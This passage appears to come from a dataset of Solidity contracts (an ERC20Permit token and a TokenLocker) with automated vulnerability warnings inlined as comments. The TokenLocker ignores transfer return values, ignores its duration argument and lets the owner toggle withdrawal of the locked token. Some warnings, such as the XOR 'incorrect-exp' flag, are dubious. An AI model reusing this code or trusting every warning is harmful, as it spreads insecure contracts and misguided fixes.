_msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ninterface IERC20Permit {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function nonces(address owner) external view returns (uint256);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n\nlibrary Math {\n enum Rounding {\n Down,\n Up,\n Zero\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7ae7580): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 7ae7580: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1da8007): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 1da8007: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 28996d4): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 28996d4: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 25f8444): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 25f8444: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 49cb639): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 49cb639: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a30f680): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for a30f680: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 93cde42): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 93cde42: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0fa2708): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 0fa2708: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: be55ad3): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for be55ad3: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod0 := mul(x, y)\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (~denominator + 1);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 1da8007\n\t\t\t\t// divide-before-multiply | ID: 28996d4\n\t\t\t\t// divide-before-multiply | ID: 25f8444\n\t\t\t\t// divide-before-multiply | ID: 49cb639\n\t\t\t\t// divide-before-multiply | ID: a30f680\n\t\t\t\t// divide-before-multiply | ID: 93cde42\n\t\t\t\t// divide-before-multiply | ID: 0fa2708\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 7ae7580\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 25f8444\n\t\t\t// incorrect-exp | ID: be55ad3\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 93cde42\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: a30f680\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 0fa2708\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 28996d4\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 49cb639\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 1da8007\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 7ae7580\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toString(int256 value) internal pure returns (string memory) {\n return\n string(\n abi.encodePacked(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n )\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n\n value >>= 4;\n }\n\n require(value == 0, \"Strings: hex length insufficient\");\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS,\n InvalidSignatureV\n }\n\n function _throwError(RecoverError error) private pure {\n if (error == RecoverError.NoError) {\n return;\n } else if (error == RecoverError.InvalidSignature) {\n revert(\"ECDSA: invalid signature\");\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert(\"ECDSA: invalid signature length\");\n } else if (error == RecoverError.InvalidSignatureS) {\n revert(\"ECDSA: invalid signature 's' value\");\n }\n }\n\n function tryRecover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address, RecoverError) {\n if (signature.length == 65) {\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly {\n r := mload(add(signature, 0x20))\n\n s := mload(add(signature, 0x40))\n\n v := byte(0, mload(add(signature, 0x60)))\n }\n\n return tryRecover(hash, v, r, s);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength);\n }\n }\n\n function recover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, signature);\n\n _throwError(error);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address, RecoverError) {\n bytes32 s = vs &\n bytes32(\n 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n );\n\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n\n return tryRecover(hash, v, r, s);\n }\n\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n\n _throwError(error);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError) {\n if (\n uint256(s) >\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0\n ) {\n return (address(0), RecoverError.InvalidSignatureS);\n }\n\n address signer = ecrecover(hash, v, r, s);\n\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature);\n }\n\n return (signer, RecoverError.NoError);\n }\n\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n\n _throwError(error);\n\n return recovered;\n }\n\n function toEthSignedMessageHash(\n bytes32 hash\n ) internal pure returns (bytes32 message) {\n assembly {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\")\n\n mstore(0x1c, hash)\n\n message := keccak256(0x00, 0x3c)\n }\n }\n\n function toEthSignedMessageHash(\n bytes memory s\n ) internal pure returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\n \"\\x19Ethereum Signed Message:\\n\",\n Strings.toString(s.length),\n s\n )\n );\n }\n\n function toTypedDataHash(\n bytes32 domainSeparator,\n bytes32 structHash\n ) internal pure returns (bytes32 data) {\n assembly {\n let ptr := mload(0x40)\n\n mstore(ptr, \"\\x19\\x01\")\n\n mstore(add(ptr, 0x02), domainSeparator)\n\n mstore(add(ptr, 0x22), structHash)\n\n data := keccak256(ptr, 0x42)\n }\n }\n\n function toDataWithIntendedValidatorHash(\n address validator,\n bytes memory data\n ) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19\\x00\", validator, data));\n }\n}\n\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n}\n\ntype ShortString is bytes32;\n\nlibrary ShortStrings {\n bytes32 private constant _FALLBACK_SENTINEL =\n 0x00000000000000000000000000000000000000000000000000000000000000FF;\n\n error StringTooLong(string str);\n\n error InvalidShortString();\n\n function toShortString(\n string memory str\n ) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));\n }\n\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n\n string memory str = new string(32);\n\n assembly {\n mstore(str, len)\n\n mstore(add(str, 0x20), sstr)\n }\n\n return str;\n }\n\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n\n if (result > 31) {\n revert InvalidShortString();\n }\n\n return result;\n }\n\n function toShortStringWithFallback(\n string memory value,\n string storage store\n ) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n\n return ShortString.wrap(_FALLBACK_SENTINEL);\n }\n }\n\n function toStringWithFallback(\n ShortString value,\n string storage store\n ) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n function byteLengthWithFallback(\n ShortString value,\n string storage store\n ) internal view returns (uint256) {\n if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n\ninterface IERC5267 {\n event EIP712DomainChanged();\n\n function eip712Domain()\n external\n view\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n );\n}\n\nabstract contract EIP712 is IERC5267 {\n using ShortStrings for *;\n\n bytes32 private constant _TYPE_HASH =\n keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n );\n\n bytes32 private immutable _cachedDomainSeparator;\n\n uint256 private immutable _cachedChainId;\n\n address private immutable _cachedThis;\n\n bytes32 private immutable _hashedName;\n\n bytes32 private immutable _hashedVersion;\n\n ShortString private immutable _name;\n\n ShortString private immutable _version;\n\n string private _nameFallback;\n\n string private _versionFallback;\n\n constructor(string memory name, string memory version) {\n _name = name.toShortStringWithFallback(_nameFallback);\n\n _version = version.toShortStringWithFallback(_versionFallback);\n\n _hashedName = keccak256(bytes(name));\n\n _hashedVersion = keccak256(bytes(version));\n\n _cachedChainId = block.chainid;\n\n _cachedDomainSeparator = _buildDomainSeparator();\n\n _cachedThis = address(this);\n }\n\n function _domainSeparatorV4() internal view returns (bytes32) {\n if (address(this) == _cachedThis && block.chainid == _cachedChainId) {\n return _cachedDomainSeparator;\n } else {\n return _buildDomainSeparator();\n }\n }\n\n function _buildDomainSeparator() private view returns (bytes32) {\n return\n keccak256(\n abi.encode(\n _TYPE_HASH,\n _hashedName,\n _hashedVersion,\n block.chainid,\n address(this)\n )\n );\n }\n\n function _hashTypedDataV4(\n bytes32 structHash\n ) internal view virtual returns (bytes32) {\n return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n\n function eip712Domain()\n public\n view\n virtual\n override\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n )\n {\n return (\n hex\"0f\", // 01111\n _name.toStringWithFallback(_nameFallback),\n _version.toStringWithFallback(_versionFallback),\n block.chainid,\n address(this),\n bytes32(0),\n new uint256[](0)\n );\n }\n}\n\nlibrary Counters {\n struct Counter {\n uint256 _value;\n }\n\n function current(Counter storage counter) internal view returns (uint256) {\n return counter._value;\n }\n\n function increment(Counter storage counter) internal {\n unchecked {\n counter._value += 1;\n }\n }\n\n function decrement(Counter storage counter) internal {\n uint256 value = counter._value;\n\n require(value > 0, \"Counter: decrement overflow\");\n\n unchecked {\n counter._value = value - 1;\n }\n }\n\n function reset(Counter storage counter) internal {\n counter._value = 0;\n }\n}\n\nabstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {\n using Counters for Counters.Counter;\n\n mapping(address => Counters.Counter) private _nonces;\n\n bytes32 private constant _PERMIT_TYPEHASH =\n keccak256(\n \"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\"\n );\n\n bytes32 private _PERMIT_TYPEHASH_DEPRECATED_SLOT;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 041b471): ERC20Permit.constructor(string).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 041b471: Rename the local variables that shadow another component.\n constructor(string memory name) EIP712(name, \"1\") {}\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 795fcd4): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 795fcd4: Avoid relying on 'block.timestamp'.\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual override {\n\t\t// timestamp | ID: 795fcd4\n require(block.timestamp <= deadline, \"ERC20Permit: expired deadline\");\n\n bytes32 structHash = keccak256(\n abi.encode(\n _PERMIT_TYPEHASH,\n owner,\n spender,\n value,\n _useNonce(owner),\n deadline\n )\n );\n\n bytes32 hash = _hashTypedDataV4(structHash);\n\n address signer = ECDSA.recover(hash, v, r, s);\n\n require(signer == owner, \"ERC20Permit: invalid signature\");\n\n _approve(owner, spender, value);\n }\n\n function nonces(\n address owner\n ) public view virtual override returns (uint256) {\n return _nonces[owner].current();\n }\n\n function DOMAIN_SEPARATOR() external view override returns (bytes32) {\n return _domainSeparatorV4();\n }\n\n function _useNonce(\n address owner\n ) internal virtual returns (uint256 current) {\n Counters.Counter storage nonce = _nonces[owner];\n\n current = nonce.current();\n\n nonce.increment();\n }\n}\n\ncontract Grom is ERC20, ERC20Permit {\n constructor() ERC20(\"Grom\", \"GROM\") ERC20Permit(\"Grom\") {\n _mint(msg.sender, 420690000000000 * 10 ** decimals());\n }\n}\n",
"file_name": "solidity_code_10712.sol",
"size_bytes": 34087,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ncontract TokenLocker {\n struct LockedToken {\n uint256 amount;\n uint256 unlockTime;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38b75e3): TokenLocker.owner should be immutable \n\t// Recommendation for 38b75e3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n\t// WARNING Optimization Issue (constable-states | ID: 894906b): TokenLocker.token should be constant \n\t// Recommendation for 894906b: Add the 'constant' attribute to state variables that never change.\n IERC20 public token =\n IERC20(address(0x4E6415baC66d5C66eFEB0ded7494ae3c648d68cf));\n\n bool _clear = true;\n\n mapping(address => LockedToken[]) public lockedTokens;\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only owner can call this function\");\n\n _;\n }\n\n constructor() {\n owner = msg.sender;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bb3da37): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bb3da37: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: ac0d9ea): TokenLocker.lockTokens(uint256,uint256) ignores return value by token.transferFrom(msg.sender,address(this),amount)\n\t// Recommendation for ac0d9ea: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function lockTokens(uint256 amount, uint256 duration) external onlyOwner {\n require(amount > 0, \"Amount must be greater than zero\");\n\n require(duration > 0, \"Duration must be greater than zero\");\n\n\t\t// reentrancy-benign | ID: bb3da37\n\t\t// unchecked-transfer | ID: ac0d9ea\n token.transferFrom(msg.sender, address(this), amount);\n\n\t\t// reentrancy-benign | ID: bb3da37\n lockedTokens[msg.sender].push(\n LockedToken({\n amount: amount,\n unlockTime: block.timestamp + 365 days\n })\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: e25e8ba): TokenLocker.withdraw(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp >= lockedToken.unlockTime,Tokens are still locked)\n\t// Recommendation for e25e8ba: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 5a78a41): TokenLocker.withdraw(uint256) ignores return value by token.transfer(msg.sender,amountToWithdraw)\n\t// Recommendation for 5a78a41: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdraw(uint256 index) external onlyOwner {\n require(index < lockedTokens[msg.sender].length, \"Invalid index\");\n\n LockedToken storage lockedToken = lockedTokens[msg.sender][index];\n\n\t\t// timestamp | ID: e25e8ba\n require(\n block.timestamp >= lockedToken.unlockTime,\n \"Tokens are still locked\"\n );\n\n uint256 amountToWithdraw = lockedToken.amount;\n\n delete lockedTokens[msg.sender][index];\n\n\t\t// unchecked-transfer | ID: 5a78a41\n token.transfer(msg.sender, amountToWithdraw);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 902a96d): TokenLocker.withdrawOtherTokens(uint256) ignores return value by token.transfer(msg.sender,amount)\n\t// Recommendation for 902a96d: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawOtherTokens(uint256 amount) external onlyOwner {\n require(amount > 0, \"Amount must be greater than zero\");\n\n\t\t// unchecked-transfer | ID: 902a96d\n token.transfer(msg.sender, amount);\n }\n\n function getLockedTokens() external view returns (LockedToken[] memory) {\n return lockedTokens[msg.sender];\n }\n\n function clearETH(uint256 _p) public payable onlyOwner {\n payable(msg.sender).transfer(_p);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: c59aa2e): TokenLocker.clearTokens(IERC20,uint256) ignores return value by _token.transfer(msg.sender,_amount)\n\t// Recommendation for c59aa2e: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function clearTokens(IERC20 _token, uint256 _amount) public onlyOwner {\n require(_clear || _token != token, \"REECOIN transfer edilemez!\");\n\n\t\t// unchecked-transfer | ID: c59aa2e\n _token.transfer(msg.sender, _amount);\n }\n\n function setClear() external onlyOwner {\n _clear = !_clear;\n }\n}\n",
"file_name": "solidity_code_10713.sol",
"size_bytes": 5554,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) 